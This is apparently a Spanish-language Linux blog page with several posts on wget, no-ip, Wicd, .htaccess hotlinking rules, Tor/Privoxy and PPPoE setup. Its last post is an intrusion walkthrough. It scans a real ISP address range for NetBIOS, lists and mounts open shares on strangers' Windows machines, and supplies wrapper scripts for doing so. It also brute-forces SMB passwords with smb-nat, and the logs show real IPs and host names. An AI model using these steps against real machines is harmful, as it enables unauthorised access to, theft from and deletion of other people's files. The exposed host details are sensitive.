También es posible configurar el límite de tasa de transferencia con wget usando la opción –limit-rate, por ejemplo si queremos limitarlo a 100.5K por segundo

# wget -c –limit-rate=100.5k http://pagina.com/carpeta/grandistrolinux.iso

de manera alternativa, la opción limit rate se puede usar con números+sufijos así:

# wget -c –limit-rate=1m http://pagina.com/carpeta/grandistrolinux.iso

Además, wget soporta el mecanismo de autenticación http y ftp y puede ser usado así:

# wget -c –user=usuario –password=contrasenia http://pagina.com/carpeta/grandistrolinux.iso

o

# wget -c –user=usuario –password=contrasenia ftp://72.29.83.102/archivo.odt

Puedes usar wget además, para enviar cookies a sitios que puedan requerirlo así:

# wget –save-cookie cookies.txt –post-data ‘name=cris&passwd=cami’ “http://unsitio.net/auth.php”

Y una vez autenticados con las cookies, como en ejemplo anterior, podemos proceder a descargar los archivos que necesitemos:

# wget –load-cookies cookies.txt -p http://unsitio.net/carpeta/algo.php

También es posible usar “recursión”. Si deseas descargar todos los archivos desde una página web recursivamente usando wget, lo puedes hacer así:

# wget -r “http://localhost/iniciaraqui/”

También podrías indicarle que no cree directorios, cuando está realizando descargas de manera recursiva… lo cual solamente descargará los archivos, así:

# wget -r -nd “http://localhost/iniciaraqui/”

Descargar los dos primeros niveles o más, de manera recursiva así:

# wget -r -l2 “http://localhost/iniciaraqui/”

Es posible usar además algo muy similar a Expresiones Regulares en wget. Esto se hace usando los caracteres especiales * ?. Por ejemplo:

# wget http://localhost/*.txt
# wget ftp://dominio.com/pub/file??.vbs
# wget http://dominio.com/pub/files??.*
# wget -r “*.jpg” http://dominio.com/pub/

A la hora de descargar, por ejemplo, un fichero HTML… los links en su interior podrían apuntar al dominio del cual se descargaron. wget permite convertir los links dentro de los ficheros HTML, a enlaces que apunten a archivos locales. Esto es posible usando la opción –k :

# wget -k http://localhost/wordpress/

Podemos además crear un archivo de log en wget, usando la opción –o, así:

# wget -c -o /var/log/archivolog http://localhost/archivo.txt

También puedes correr wget en background así:

# wget -b http://localhost/archivo.txt

O si usas GNU/Linux podría hacerse directamente desde la consola así:

# wget http://localhost/archivo.txt &

Una de las opciones que más me gustan de wget es la capacidad de leer URLs de un archivo externo. Para aprovechar ésta función, puedes hacer:

# wget -i Lista-URL.txt

Si usas wget como en el ejmplo anterior, no deberás escribir explícitamente la URL en la línea de comandos.

Puedes obligar a wget a usar IPv6 o IPv4 usando las opciones -6 y -4, respectivamente. Además, puedes deshabilitar el caché y las cookies usando las opciones –no-cache y –no-cookies.

En cuanto a descargas a través de un Proxy, puedes indicarle el usuario y password de autenticación usando las opciones –proxy-user y –proxy-password, así:

# wget –proxy-user=usuario –proxy-password=contrasenia URL

Adicionalmente, wget tiene soporte para HTTPS (SSL/TLS) usando los argumentos listados abajo:

–secure-protocol= (auto,SSLv2,SSLv3, TLSv1)
–certificate=archivo_certificado_cliente
–certificate-type= (PEM,DER)
–private-key=archivo_llave_privada
–private-key-type= (PEM,DER)
–ca-certificate=archivo_certificado
–ca-directory=directorio_fuente

La opción –no-parent necesita ser especificada cuando se realicen descargas recursivas de tal manera que se evite la búsqueda recursiva del directorio padre.

Fuente

2/26/2008


Instalar no-ip en Arch Linux

No-ip provee administración de DNS, DNS dinámicos, registración de dominios, email y muchos otros servicios relacionados al dominio.
Para comprender bien el concepto es necesario entender que es una dirección IP y un DN(Nombre de dominio). Las computadoras y dispositivos se identifican en internet a través de una dirección única, que es llamada como direccion IP (IPv4) y está formada por cuatro grupos de 8 bits cada uno. Ej: 201.255.145.193.
Pero como es muy dificil acordarse de las direcciones IP para acceder a los diferentes equipos, se crearon los nombres de dominio. Por lo cual nosotros ingresamos el nombre de la maquina en cuestión y nuestro DNS(Servidor de Nombre de Dominios) se encargará de traducir la petición a su dirección en formato númerico.

Ej: www.google.com---------> IP 216.239.51.99

Pero como verán solo funciona si nuestra IP se mantiene fija y no varía en el tiempo, pero como las conexiones por ADSL son dinámicas, es decir nuestra IP se renueva cada nueva conexión, este sistema no funcionaría, si quisieran ver una página en mi servidor y mi modem se desconecta y vuelva a conectarse, tendría otra ip y el DNS del cliente apuntaría a otra IP inexistente o no.

Lo que nos permite no-ip es mantener nuestro nombre de dominio fijo ej: braianet.no-ip.org y actualizar la IP cada vez que el modem se conecte nuevamente. Por este motivo siempre que quiera acceder a mi equipo estará disponible ya que la dirección ip actualizada y el nombre de dominio son correctos.
Primero nos creamos una cuenta en http://www.no-ip.com/newUser.php
Completamos los datos y recibiremos un mail, clik para confirmar la operación.
Luego ingresamos nuestro e-mail y contraseña.

Vamos a la sección Add:

Your No-IP
Hosts / Redirects
Add

despues en Hostaname ingresamos el nombre que queremos para nuestro equipo, y el domino.

Hostname Information
Hostname: .

Host Type:

DNS Host (A)
DNS Host (Round Robin)
DNS Alias (CNAME)
Port 80 Redirect
Web Redirect

IP Address:

View History
Assign to Group: View Groups | Add Group
Allow Wildcards: Enhanced/Plus Feature
Own a domain name?
Use your own domain name with our DNS system. Add your domain name now or read more for pricing and features.

Clickeamos en Create Host y listo, ahora necesitamos la aplicación:

Para instalar en ArchLinux:

# pacman -S noip
resolviendo dependencias... Hecho.
verificando conflictos... Hecho.

A instalar: noip-2.1.4-1

Tamaño total de paquetes: 0,10 MB

¿Continuar con la instalación? [Y/n] Y
:: Descargando paquetes desde community...
noip 17,1K 33,1K/s 00:00:01 [#####################] 100%
Verificando la integridad de los paquetes... Hecho.
limpiando...Hecho.
(1/1) verificando conflictos entre archivos [#####################] 100%
(1/1) instalando noip [#####################] 100%

####################################################
# IMPORTANT! #
# BEFORE running noip2 YOU MUST CONFIGURE IT! #
# To configure noip2 run the command "noip2 -C -Y" #
####################################################

# noip2 -C -Y

Auto configuration for Linux client of no-ip.com.

Please enter the login/email string for no-ip.com TUDIRECCIONDEMAIL
Please enter the password for user 'braianel22@gmail.com' CONTRASEÑA

Only one host [braianet.no-ip.org] is registered to this account.
It will be used.
Do you wish to run something at successful update?[N] (y/N) y
Please enter the script/program name

New configuration file '/etc/no-ip2.conf' created.

Para iniciarlo:
# /etc/rc.d/noip start

Y para iniciarlo siempre al encender el equipo lo agregamos a la sección DAEMONS de /etc/rc.conf

DAEMONS=(syslog-ng network netfs crond alsa !cups hal adsl noip !tor !privoxy !dbus !httpd !mysqld)

Gracias a no-ip podemos tener un servidor web o ftp y acceder de cualquier lugar del mundo, solo conociendo nuestro nombre de dominio :). Saludos!

2/15/2008


Porque hay vida despues de network-manager



Wicd es un gestor de redes alternativo al Network manager que viene por defecto en Gnome y que da algunos problemas de desconexion (a mi me daba muchos problemas).Hay mas gestores pero Wicd tiene como objetivo proporcionar una interfaz simple para conectarse a las redes con una amplia variedad de entornos,es un potente gestor y sus caracteristicas son:

1. No tiene dependencias Gnome (aunque se requiere GTK),es fácil de usar en XFCE, Fluxbox, Openbox, etc
2. Capacidad de conexión a redes inalambricas y fijas,
3. Permite editar perfiles para cada red inalámbrica y red cableada
4. Muchos esquemas de codificación, algunos de los cuales incluyen WEP/WPA/WPA2
5. Es compatible con wireless-tools
6. Icono en la bandeja que muestra la actividad de la red y la potencia de la señal
7. Compatible con el estándar de redes de comandos * nix (iwconfig, ifconfig, etc)
8. Seleccionar entre las direcciones IP y DHCP sobre una base por red
9. Almacenar diferentes direcciones IP estáticas, puertas de enlace, máscaras de subred, direcciones de servidor DNS
10. Que se conecte automáticamente en el arranque (no requiere la intervención del usuario, incluso el cifrado de redes
11. Se conecta automáticamente al reanudar o suspender
12. Capacidad de ejecutar scripts antes / después de conectar / desconectar
13. Apoyo a las tarjetas de ralink

Instalación Wicd en Ubuntu via synaptic:
Sólo tienes que añadir el repositorio Wicd al gestor de paquetes de Ubuntu. Para abrir el gestor de paquetes en Gnome: Sistema> Administración> Gestor de paquetes synaptic.
Cuando aparece, ves a Configuración> Repositorios> Software de Terceros> Añadir ..., y escribe la siguiente línea:
Deb http://apt.wicd.net Gutsy extras
A continuación, clic en Volver a cargar, y la espera mientras se descargan las listas de paquetes. . Ahora, buscamos "Wicd", y clic derecho sobre el. Seleccionamos Instalar, a continuación, pulsamos en Aplicar y Wicd automáticamente se descargará e instalará.
Solo nos queda que arranque automaticamente en cada sesion:
Sistema> Preferencias> Sesiones.En los "Programas de Inicio",clic "Nuevo". . Darle un nombre ( "Wicd" funciona bien).Para el comando, escribir "/ opt / wicd / tray.py".Y ya se nos abrira automaticamente cada vez que arranquemos la maquina.

Instalación Wicd en Ubuntu via consola:
Añadimos el repositorio (donde pone gutsy podría ser dapper, edgy o feisty)
sudo gedit /etc/apt/sources.list
deb http://apt.wicd.net gutsy extras
Actualizamos:
echo deb http://apt.wicd.net gutsy extras | sudo tee -a /etc/apt/sources.list && sudo apt-get update
Instalamos Wicd:
sudo apt-get install wicd

Recordar que hay que desinstalar el network manager para no tener conflictos y que funcione Wicd

$ sudo aptitude remove network-manager network-manager-gnome

Fuente: http://ericlinux.blogspot.com

2/13/2008


Modificación del .htaccess para evitar el robo de ancho de banda

En Internet existe una norma no escrita que establece que no se pueden enlazar imágenes hospedadas en servidores ajenos para mostrarlas en nuestra propia web. El porqué es muy sencillo de comprender: estamos robando ancho de banda a otras personas.

Si os cuento esto es porque de un tiempo a esta parte me he encontrado con que hay algunas webs-basura que están utilizando las imágenes de Abadía en lugar de hacer lo lógico y correcto, que sería subirlas a sus servidores y linkarlas desde allí.

Hasta ahora lo había consentido, pero tras comprobar que no variaban su postura aún después de requerírselo vía mail, he acabado con el problema modificando el archivo .htaccess que se encuentra en el directorio principal del server. Para ello le he añadido las siguientes líneas:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://tu-dominio.com [NC]
RewriteCond %{HTTP_REFERER} !^http://www.tu-dominio.com [NC]
RewriteRule .*\.(gif|jpg|swf|png)$ - [NC,F]

Existe una pequeña variación con la que además de impedir que utilicen tus imágenes, puedes mostrar otra elegida por ti para hacer ver tu repulsa ante el robo de ancho de banda. Para ello sólo debes cambiar la última línea y sustituirla por esta otra:

RewriteRule .*\.(gif|jpg)$ http://tu-dominio/nombre-imagen-sustitucion.gif [R,NC]

Espero que os sirva de ayuda si os llegáis a encontrar en una situación similar.

Fuente: http://www.abadiadigital.com/noticia1692.html

2/09/2008


Navegar en forma anónima en Arch Linux!

Por José Manuel Gómez

Puestos a inventarse "palabros" (que parece el deporte nacional, de un tiempo a esta parte), yo aporto "torificando", que nos servirá para designar la anonimización de la navegación web mediante Tor.



En eso consiste "torificar" Firefox: en convertir nuestro navegador favorito en un navegador "anónimo", haciéndole caminar, sin prisa pero sin pausa, por la red de servidores anónimos que promueve la EFF. De este modo, podremos elegir entre una navegación "normal" (e indudablemente más rápida) o una navegación "sigilosa", donde la dirección IP que vamos dejando en el servidor que visitamos no es nuestra IP real, sino la de uno de los servidores anónimos interpuestos entre nosotros y nuestro destino. El precio a pagar es una mayor lentitud y... muy poco más, porque la configuración no puede resultar más sencilla...

Si recordáis, no hace mucho presentamos por aquí Torpark, cuyas características básicas pretendemos mediante este artículo trasladar ahora a nuestro Firefox "adulto". Como siempre, el artículo se basa en mi propia experimentación bajo Linux, pero los usuarios Windows pueden traducir fácilmente mis indicaciones para conseguir exactamente lo mismo. A tal fin, intento proporcionar abundantes referencias.

INGREDIENTES:

PASOS:

  1. Instalar Tor.
  2. Instalar Privoxy.
  3. Configurar Privoxy para que apunte a Tor.
  4. Configurar Firefox.
  5. Tests de comprobación.

En mi distribución (Arch Linux, que no me cansaré de recomendar a quien quiera escucharme) los pasos 1 y 2 se realizan de una sola jugada. Basta escribir lo siguiente:

# pacman -S tor privoxy

(Para que luego digan que Linux es difícil...)

Segundos después de teclear un comando tan sencillo tenemos Privoxy (un proxy con muchas características de interés, que darían para varios artículos) y Tor (un cliente para la red servidores del mismo nombre) perfectamente instalados y listos para funcionar. Si edito el fichero /etc/rc.conf y añado ambos servicios a la lista, se lanzarán automáticamente en cada arranque.

Voy a preparar Privoxy para que funcione bien con Tor. Para ello tecleo:

# vi /etc/privoxy/config

y añado, al principio del fichero, la siguiente línea:

forward-socks4a / localhost:9050 .

Es sumamente importante no olvidar escribir el punto final.

El fichero de configuración de Tor es, en mi distribución, /etc/tor/torrc. En principio no es necesario tocarle, a no ser que más tarde aparezcan problemas.

En este momento podemos arrancar Privoxy y Tor y ambos deberían funcionar sin problemas:

# /etc/rc.d/privoxy start
# /etc/rc.d/tor start

(Si no arrancan, debemos echar un vistazo a los ficheros log de ambos).

Bien; tenemos un proxy y un cliente de la red de anonimato. Ahora queda explicarle a Firefox que debe utilizar ambos.

Arranca Firefox y en la línea de direcciones teclea nuestro comando favorito: about.config

Ahora busca (escribiéndola en el filtro) la expresión network.proxy.socks_remote_dns y pónla a True.

Sólo resta acabar de configurar Firefox mediante el menú Editar -> Preferencias -> General -> Conexión.

Selecciona la "Configuración manual de proxy" y escribe localhost en todos los campos, poniendo el puerto 8118 (privoxy) para los cuatro primeros y el 9050 (tor) para SOCKS Host. No olvides marcar también SOCKS v5.

Si todo ha ido bien y no han surgido dificultades, ya deberías poder navegar anónimamente con Firefox.

Haremos ahora algunas comprobaciones para ver si todo es correcto.

  • Tor Test: te indica si estás en la red Tor.
  • The Hidden Tor Wiki: un Wiki sólo accesible en la red Tor. Si puedes verlo, enhorabuena: estás dentro.
  • IP Chicken: típico servicio de identificación de IPs que te dirá que la "tuya" pertenece a cualquier servidor extranjero de nombre quizás un tanto estrafalario.
  • Port Scan: un servicio de escaneo de puertos sobre "tu" IP te dará ahora resultados insólitos.

Ahora viene la guinda del pastel...

Como no siempre querrás ser anónimo (entre otras cosas porque la velocidad de navegación anónima es muy lenta) querrás disponer de la opción de no utilizar ningún proxy (o utilizar cualquier otro que no sea tu nuevo Privoxy-Tor).

Si te resulta muy incómodo tener que cambiar la configuración de proxy en Firefox "a mano", existen un par de extensiones que pueden ayudarte:

  • Torbutton: específicamente dirigida a conmutar el uso -o no- de Tor. Lo que hace en realidad es saltar de la configuración manual del proxy que hicimos antes a la conexión directa (sin proxy). Pruébala. Promete ser mejor en la próxima versión, pero a mí no me marcha bien, porque mi PC está en una red local y Torbutton se empeña en llamarle localhost, lo que crea confusión en mi red. No me sirve de nada cambiarlo, porque vuelve a reescribirme los campos.
  • SwitchProxy Tool: una extensión más antigua pero que a mí me convence más, porque funciona como la seda y te permite elegir entre muchos proxies diferentes.

Valor y a "torificar" Firefox. La imprescindible brevedad y concisión de este artículo hará que algunos detalles -seguro- se queden en mi teclado. Confío en que vuestros comentarios os sirvan para despejar dudas gracias a la amable colaboración de otros lectores más afortunados. También os dejo una colección de enlaces:

Fuente: http://www.kriptopolis.org/torificando-firefox

1/30/2008


Conectarse a Internet a través de un Modem Ethernet ADSL en Arch Linux

Para conectarnos a una conexión ADSL o de Banda Ancha en Arch Linux necesitamos internet, parece una ironía pero es cierto, es algo muy fastidioso y engorroso en esta distribución, no contar con los paquetes básicos para iniciar la conexión por nuestros propios medios, espero que en la próxima version los traigan. Por lo tanto vamos a tener que guardar los paquetes bajados desde otra maquina o de un live cd y copiarlos a esta distribución en un pendrive, diskette o cd.
Otra cosa que me llamo la atención es la carecia de iptables, al tener una conexión dhcp por detrás de un router no le tomé importancia, pero al iniciar una conexión desde mi máquina a Internet y no contar con un cortafuegos en esta época tecnológica es una locura, lo mismo ocurre con MacOSX pero esa es otra historia.

Necesitamos tres paquetes: ppp, rp-pppoe e iptables. Bajarlos desde aquí.
Tengo una conexión adsl a través de speedy(ISP de Telefónica de Argentina).

Los datos necesarios son: Nombre de Usuario
Contraseña
DNS primario y Secundario

Los DNS de Speedy son 200.51.211.7 y 200.51.212.7. Usted debe tener los de su ISP. Puede llamar a la compañia o buscar en google.

Instalamos los paquetes bajados:

[root@ArchLinux no]# tar xvf packadsl.tar
Adsl/
Adsl/rp-pppoe-3.8-2-i686.pkg.tar.gz
Adsl/iptables-1.3.8-2-i686.pkg.tar.gz
Adsl/ppp-2.4.4-6-i686.pkg.tar.gz

# pacman -A iptables-1.3.8-2-i686.pkg.tar.gz

# pacman -A rp-pppoe-3.8-2-i686.pkg.tar.gz

# pacman -A ppp-2.4.4-6-i686.pkg.tar.gz

Una vez instalados, ejecutamos pppoe-setup, los pasos no son difíciles de seguir, deberá introducir los datos que les solicita:

[root@ArchLinux /]# pppoe-setup
Welcome to the Roaring Penguin PPPoE client setup. First, I will run
some checks on your system to make sure the PPPoE client is installed
properly...

Looks good! Now, please enter some information:

USER NAME

>>> Enter your PPPoE user name (default bxxxnxnx@sympatico.ca): USUARIODECONEXION

INTERFACE

>>> Enter the Ethernet interface connected to the DSL modem
For Solaris, this is likely to be something like /dev/hme0.
For Linux, it will be ethn, where 'n' is a number.
(default eth0): eth0

Do you want the link to come up on demand, or stay up continuously?
If you want it to come up on demand, enter the idle time in seconds
after which the link should be dropped. If you want the link to
stay up permanently, enter 'no' (two letters, lower-case.)
NOTE: Demand-activated links do not interact well with dynamic IP
addresses. You may have some problems with demand-activated links.
>>> Enter the demand value (default no):

DNS

Please enter the IP address of your ISP's primary DNS server.
If your ISP claims that 'the server will provide DNS addresses',
enter 'server' (all lower-case) here.
If you just press enter, I will assume you know what you are
doing and not modify your DNS setup.
>>> Enter the DNS information here: 201.51.211.7
Please enter the IP address of your ISP's secondary DNS server.
If you just press enter, I will assume there is only one DNS server.
>>> Enter the secondary DNS server address here: 201.51.212.7

PASSWORD

>>> Please enter your PPPoE password: CONTRASEÑADECONEXION
>>> Please re-enter your PPPoE password: CONTRASEÑADECONEXION

FIREWALLING

Please choose the firewall rules to use. Note that these rules are
very basic. You are strongly encouraged to use a more sophisticated
firewall setup; however, these will provide basic security. If you
are running any servers on your machine, you must choose 'NONE' and
set up firewalling yourself. Otherwise, the firewall rules will deny
access to all standard servers like Web, e-mail, ftp, etc. If you
are using SSH, the rules will block outgoing SSH connections which
allocate a privileged source port.

The firewall choices are:
0 - NONE: This script will not set any firewall rules. You are responsible
for ensuring the security of your machine. You are STRONGLY
recommended to use some kind of firewall rules.
1 - STANDALONE: Appropriate for a basic stand-alone web-surfing workstation
2 - MASQUERADE: Appropriate for a machine acting as an Internet gateway
for a LAN
>>> Choose a type of firewall (0-2): 1

** Summary of what you entered **

Ethernet Interface: eth0
User name: ******@speedy
Activate-on-demand: No
Primary DNS: 201.51.211.7
Secondary DNS: 201.51.212.7
Firewalling: STANDALONE

>>> Accept these settings and adjust configuration files (y/n)? y
Adjusting /etc/ppp/pppoe.conf
Adjusting /etc/resolv.conf
(But first backing it up to /etc/resolv.conf-bak)
Adjusting /etc/ppp/pap-secrets and /etc/ppp/chap-secrets
(But first backing it up to /etc/ppp/pap-secrets-bak)
(But first backing it up to /etc/ppp/chap-secrets-bak)

Ahora nos falta desactivar la placa de red que utilicemos para la conexión, generalmente es eth0. Editamos /etc/rc.conf y la sección INTERFACES, solo nos tiene que quedar activa "lo", podemos ver que la línea de eth0 esta comentada y en INTERFACES se encuentra el simbolo "!" que la desactiva.

lo="lo 127.0.0.1"
#eth0="eth0 192.168.1.3 netmask 255.255.255.0"
#wlan0="wlan0 up"
INTERFACES=(lo !eth0 !wlan0)

Podemos reiniciar la máquina para que surtan todos los efectos, luego nos conectamos como root:

[root@ArchLinux /]# pppoe-start

....Conected!

Si queremos que cada vez que iniciemos el sistema se conecte, entonces tendremos que agregar "adsl" a la lista de DAEMONS del fichero /etc/rc.conf

DAEMONS=(syslog-ng network netfs crond alsa cups hal adsl)

Estamos conectados!! Espero que les halla servido :). Saludos!

11/28/2007


Montando directorios compartidos en Internet por (culpa) Netbios en Gnu/Linux =)

Montando directorios compartidos en Internet por (culpa) Netbios en Gnu/Linux =)

Utilidad de Netbios según Wikipedia.

Resumiendo, de forma sencilla, NetBIOS, permite a las aplicaciones 'hablar' con la red. Su intención es conseguir aislar los programas de aplicación de cualquier tipo de dependencia del hardware. También evita que los desarrolladores de software tengan que desarrollar rutinas de recuperación ante errores o de enrutamiento o direccionamiento de mensajes a bajo nivel. Coloquialmente hablando, NetBIOS hace el 'trabajo sucio'.
..................................................................................................................

Hace mucho tiempo había observado la cantidad de maquinas que se conectaban a internet con Netbios habilitado, la verdad me sorprendió demasiado, pero actualmente las cosas no cambiaron mucho.
Aquella vez había escaneado con una herramienta en Window$, si... no conocía Gnu/Linux todavía =P. Y bueno hoy le voy a demostrar que se puede conseguir los mismos resultados...

------------------------------------------------------------------------------------------------------------

Para comenzar necesitamos tener instalado smbclient y smbfs, si estan en debian le dan

apt-get install smbclient smbfs

Primero escaneamos maquinas que tengan netbios activado con el programa nbtscan.

zh3ta@debian:~$ nbtscan 201.255.0.0/16
Doing NBT name scan for addresses from 201.255.0.0/16

IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
201.255.36.237 44:45:53:54:00:00
201.255.68.11 PC_WIN98 PC_WIN98 44:45:53:54:00:00
201.255.68.32 CONSULTORIO 00:0d:87:51:73:24
201.255.77.182 SILVIA SILVIA 44:45:53:54:00:00
201.255.77.249 A1 A 44:45:53:54:00:00
201.255.78.89 DESKTOP 00:53:45:00:00:00
201.255.91.84 URRUTTIA URRUTTIA 44:45:53:54:00:00
201.255.97.221 44:45:53:54:00:00
201.255.136.251 WIN98SE WIN98SE 44:45:53:54:00:00
201.255.146.41 DESKTOP 00:53:45:00:00:00
201.255.160.235 VD-A51EF1B760FA 00:53:45:00:00:00
201.255.161.28 VICTORIA-CASA 00:1a:92:cc:b4:dc
201.255.236.217 OSCAR OSCAR 00:0b:6a:d9:d2:f5
201.255.254.224 44:45:53:54:00:00
201.255.255.43 OEMCOMPUTER OEMCOMPUTER 44:45:53:54:00:00

Si quieren mas informacion le agregan el parametro -v.

zh3ta@debian:~$ nbtscan -v 201.255.0.0/16
Doing NBT name scan for addresses from 201.255.0.0/16


NetBIOS Name Table for Host 201.255.64.96:

Name Service Type
----------------------------------------
LUNAROMA <00> UNIQUE
WORKGROUP <00> GROUP
LUNAROMA <03> UNIQUE

Adapter address: 44:45:53:54:00:00
----------------------------------------


NetBIOS Name Table for Host 201.255.144.107:

Name Service Type
----------------------------------------
X5Y5N8 <00> UNIQUE
WORKGROUP <00> GROUP
X5Y5N8 <03> UNIQUE

Adapter address: 44:45:53:54:00:00

Luego elegimos una ip y utilizamos smbclient para comprobar si comparte recursos. El parámetro -L le indica que liste los mismos y el -N que no pida contraseña.

debian:/home/zh3ta# smbclient -L 201.250.49.249 -N
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Impresora Printer Macromedia FlashPaper
hpdeskje.2 Printer hp deskjet 3500 series (Copiar 1)
IPC$ IPC IPC remota
print$ Disk Controladores de impresora
C Disk
Documentos c Disk
F Disk
Administrador Disk
session request to 201.250.49.249 failed (Called name not present)
session request to 201 failed (Called name not present)
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Server Comment
--------- -------

Workgroup Master
--------- -------
debian:/home/zh3ta#

Si nos sale eso y les sale algo como acontinuacion quiere decir que no tiene todos los puertos habitados o nose que =P, van a tener que seguir buscando.

debian:/home/zh3ta# smbclient -L 201.250.102.224 -N
session request to 201.250.102.224 failed (Called name not present)
session request to 201 failed (Called name not present)
session request to *SMBSERVER failed (Called name not present)


Si la ip tiene recuersos para compartir entonces pueden montarlos =).

debian:/home# mount -t smbfs //$1/$2 /media/samba/

Donde $1 es la ip y $2 es el directorio montar. Ejemplo:

debian:/home/zh3ta# mount -t smbfs // 201.250.49.249/$IPC /media/samba/

Si nos salta esto:

debian:/home/zh3ta# mount -t smbfs //201.250.49.249/$IPC /media/samba/
Password:
14247: tree connect failed: ERRDOS - ERRnosuchshare (You specified an invalid share name)
SMB connection failed

Quiere decir que necesitamos el password...por lo tanto seguiremos buscando en otro directorio o con un ataque de fuerza bruta...como quieran.
En cambio si no le salta el mensaje de error, habrá montado el directorio sin problemas =).

debian:/home/zh3ta# mount -t smbfs //201.250.49.249/F /media/samba/
Password:
debian:/home/zh3ta#

Despues nos movemos en el directorio como cualquier otro.

debian:/home/zh3ta# cd /media/samba/
debian:/media/samba# ls
AITEMP CONFIG.SYS Mp3 RECYCLER
AUTOEXEC.BAT IO.SYS MSDOS.SYS System Volume Information
debian:/media/sabado#

Y bueno ahi dentro podemos subir o bajar cosas como cualquier directorio, cp, mv, rm etc.

Para simplificar las cosas cree unos scripts burdos en bash que pueden ser mejorados obviamente jeje.

Ver recursos compartidos:

#!/bin/bash
smbclient -L "$1" -N

despues le damos permisos de ejecucion chmod +x versmb y lo ejecutamos.

debian:/home/zh3ta# ./versmb 201.250.49.249
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Impresora Printer Macromedia FlashPaper
hpdeskje.2 Printer hp deskjet 3500 series (Copiar 1)
IPC$ IPC IPC remota
print$ Disk Controladores de impresora
C Disk
Documentos c Disk
F Disk
Administrador Disk

Montar Directorios:

#!/bin/bash
mount -t smbfs //$1/$2 /media/samba/

y lo ejecutamos asi, primero la ip y despues el directorio a montar:

debian:/home/zh3ta# ./montarsmb 201.250.49.249 C

Por ultimo hay un programita que se llama smb-nat(Netbios Auditing Tool) que es tipo un brute force. Para utilizarlo lo instalamos:

debian:/home/zh3ta# apt-get install smb-nat

Y lo ejecutamos:

debian:/home/zh3ta# smb-nat -u /usr/share/smb-nat/userlist.txt -p /usr/share/smb-nat/passlist.txt 201.250.49.249

debian:/home/zh3ta# ./auditarsmb 201.250.49.249
[*]--- Reading usernames from /usr/share/smb-nat/userlist.txt
[*]--- Reading passwords from /usr/share/smb-nat/passlist.txt

[*]--- Checking host: 201.250.49.249
[*]--- Obtaining list of remote NetBIOS names
[*]--- Remote systems name tables:

DESKTOP
WORKGROUP
DESKTOP
WORKGROUP
WORKGROUP
__MSBROWSE__

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: DESKTOP
[*]--- CONNECTED with name: DESKTOP
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Wed Nov 28 23:09:12 2007
[*]--- Timezone is UTC-3.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to establish session

[*]--- Attempting to access share: \\DESKTOP\
[*]--- Unable to access


/usr/share/smb-nat/userlist.txt : es donde se encuentra las combinaciones posibles para el nombre de usuario, obviamente podremos agregarle lo que queramos, este path es solo para debian.

/usr/share/smb-nat/passlist.txt: idem del anterior, solo para las contraseñas.

$IP: es la ip que queremos auditar.

Recomendación:

El nbtscan es algo imperfecto porque verifica si el puerto 139 se encuentra abierto, pero eso no quiere decir que esa maquina comparta los recuersos. Si quieren altas probabilidades de obtener exito, necesitaran escanear con el nmap con el parametro -p 137-139, de esta manera encontrarán maquinas "mas" vulnerables.

Listado de Puertos Netbios:

netbios-ns 137/tcp NETBIOS Name Service
netbios-ns 137/udp NETBIOS Name Service
netbios-dgm 138/tcp NETBIOS Datagram Service
netbios-dgm 138/udp NETBIOS Datagram Service
netbios-ssn 139/tcp NETBIOS Session Service
netbios-ssn 139/udp NETBIOS Session Service


No me hago responsable por el uso que le puedan dar al documento, este fué escrito con motivos didácticos.

Bueno espero que les halla gustado, chau.!